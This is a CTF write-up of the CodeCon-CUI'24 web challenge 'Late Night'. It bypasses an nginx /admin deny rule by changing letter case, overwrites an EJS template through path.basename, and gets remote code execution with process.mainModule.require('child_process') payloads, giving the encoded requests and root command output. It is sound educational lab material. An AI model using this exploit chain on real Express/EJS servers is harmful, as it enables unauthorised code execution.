Published on

CodeCon-CUI'24 - CTF - Web - Late Night

Authors

Assalam-o-Alaikum!

This is the writeup for CodeCon-CUI'24 Web Challenge named "Late Night." Unfortunately, I didn't solve it during the competition because I was unable to bypass a very simple restriction on the /admin endpoint. My mind was so stuck at the time that I couldn't figure out how to bypass that restriction. Later, when I realized the solution, I laughed at myself so much. Hahaha!

Now, let's begin.

Challenge Description

IDK what I was doing this late at night :-(

We are provided with a zip file containing the following files:

  • app.py
  • Dockerfile
  • nginx.conf
  • package.json
  • package-lock.json
  • supervisord.conf

app.py

const express = require('express');
const process = require('process');
const path = require('path');
const ejs = require('ejs');
const fs = require('fs');
const app = express();
process.chdir("/tmp");

fs.writeFileSync('index.ejs', `
<html>
<body>
    <% if ( message != null ) { %>
        <input type="text" placeholder="<%= message %>">
    <% } else { %>
        <input type="text" placeholder="Message...">
    <% } %>
</body>
</html>
`);

class Message {
    constructor(to, msg) {
        this.to = to;
        this.msg = msg;
        this.file = null;
    }

    send() {
        console.log(`Message sent to: ${this.to}`);
    }

    makeBackup() {
        this.file = path.basename(`${Date.now()}_${this.to}`);
        fs.writeFileSync(this.file, this.msg);
    }
}

app.set('view engine', 'ejs');
app.set('views', '/tmp');

app.get('/admin', (req, res) => {
    let to = req.query.to || "pro@chc.com";
    let msg = req.query.msg || "Hello, I am a noob, please teach me how to RCE this server";
    var message = new Message(to, msg);
    message.makeBackup();
    res.render('index.ejs', { message: message.msg });
});

const port = 3000;
app.listen(port, () => {
    console.log(`Server is running on http://localhost:${port}`);
});

This is a simple web application that has only one endpoint, /admin, which takes two parameters: to and msg. If not provided, it assigns default values to them. After that, a message class constructor is initialized with the values of to and msg. Then, the makeBackup() method inside the message class is called.

makeBackup()

For functionality of makeBackup():

makeBackup() {
        this.file = path.basename(`${Date.now()}_${this.to}`);
        fs.writeFileSync(this.file, this.msg);
    }

The functionality is quite simple. The value of the to parameter is concatenated with the current date and time, and then it is assigned as the file name using path.basename(). This function can be exploited, as we will see later. Now, let's continue to understand the makeBackup() functionality. After assigning a file name, it creates a file with that name using fs.writeFileSync(), and the content of the file is set to the value of the msg parameter.

Right after makeBackup() is called, index.ejs is rendered with the following content, and the value of msg is set as the placeholder of the input field:

<html>
<body>
    <% if ( message != null ) { %>
        <input type="text" placeholder="<%= message %>">
    <% } else { %>
        <input type="text" placeholder="Message...">
    <% } %>
</body>
</html>

Remember, index.ejs is in the same directory where new files are created, i.e., /tmp.

Dockerfile

FROM node:18 as node-build
WORKDIR /app

COPY app.js ./
COPY package*.json ./
RUN npm install
COPY . .

FROM nginx:alpine
RUN apk --no-cache add curl supervisor
COPY ./nginx.conf /etc/nginx/nginx.conf

COPY --from=node-build /app /app

COPY ./supervisord.conf /etc/supervisord.conf
COPY ./docker-entrypoint.sh /docker-entrypoint.sh


EXPOSE 80
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

Nothing significant appears in the Dockerfile, as there is no flag.txt being copied or anything similar. This indicates that we need to obtain Remote Code Execution (RCE).

nginx.conf

events {
    worker_connections 1024;
}

http {
    server {
        listen 80;

        location / {
            proxy_pass http://localhost:3000;            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        location = /admin {
            deny all;
        }

        location = /admin/ {
            deny all;
        }
    }
}

There’s a restriction on accessing /admin and /admin/. This is hilarious to me because I couldn’t bypass such a simple restriction. The funny part is that I tried almost every payload available on Google to bypass restrictions like these, which typically include null bytes and other bypass techniques, but I failed.

Later, when I discovered the solution, I couldn’t stop laughing. You can bypass the restriction simply by capitalizing any letter in the path, like /Admin or /AdmiN, and it works!

I know the solution, but why didn’t it come to my mind at that time??? Haaaaaaaah!😄

Let's get back to it now. Let's talk about a vulnerability that could be exploited: the path.basename() method. First, let's understand how it works.

The path.basename() method returns the last portion of a path, similar to the Unix basename command. Trailing directory separators are ignored.

For Example:

path.basename('/foo/bar/baz/asdf/quux.html');
// Returns: 'quux.html'

Yes! What can we do? We can overwrite index.ejs with our own content because of this vulnerability. We will set to parameter to /index.js, which will create file index.ejs and overwrite current index.ejs. We’ll inject malicious code into index.ejs through msg parameter, as it is being rendered, and attempt to get Remote Code Execution (RCE). Let’s start working on it nowwwww!

What should our payload be? After doing some research, I found out about the child_process module in Node.js. This module allows us to create and control child processes, enabling us to execute system commands, run scripts, and perform other operations outside the main Node.js process.

Lets create our payload:

<%- require('child_process').exec('id') %>

URL encode it:

%3C%25-%20require%28%27child_process%27%29.exec%28%27id%27%29%20%25%3E

Then, send the payload like this:

/Admin?to=/index.ejs&msg=%3C%25-%20require%28%27child_process%27%29.exec%28%27id%27%29%20%25%3E

This should have allowed us to inject and execute the malicious code to get RCE.

However, I encountered the following error:

ReferenceError: /tmp/index.ejs:1
 >> 1| <%- require('child_process').exec('id') %>

require is not defined
    at eval ("/tmp/index.ejs":10:7)
    at index (/app/node_modules/ejs/lib/ejs.js:703:17)
    at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:36)
    at exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)
    at View.render (/app/node_modules/express/lib/view.js:135:8)
    at tryRender (/app/node_modules/express/lib/application.js:657:10)
    at Function.render (/app/node_modules/express/lib/application.js:609:3)
    at ServerResponse.render (/app/node_modules/express/lib/response.js:1049:7)
    at /app/app.js:59:9
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

The error occurs because require is not available in the EJS template context. EJS templates run in the browser or within a restricted context, which does not have access to Node.js modules like child_process. This is a security feature to prevent running potentially dangerous server-side code in the template.

Hmmmm! Let’s do more research, and only research. I found a method to use child_process. We can do it using process.mainModule. It refers to the entry point of the Node.js application, which is the main module that was first loaded when the application started. This module retains access to the original require function.

By using process.mainModule.require, we're essentially bypassing any restrictions placed on the require function in the template rendering context. This gives us access to core Node.js modules, such as child_process, which were previously inaccessible.

<%- process.mainModule.require('child_process').execSync('id').toString() %>

After Encoding:

%3C%25-%20process.mainModule.require%28%27child_process%27%29.execSync%28%27id%27%29.toString%28%29%20%25%3E

Final Payload like this:

/Admin?to=/index.ejs&msg=%3C%25-%20process.mainModule.require%28%27child_process%27%29.execSync%28%27id%27%29.toString%28%29%20%25%3E

Finally! Got RCE.

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Next, you can find the flag and read it by running terminal commands like cd, ls, cat.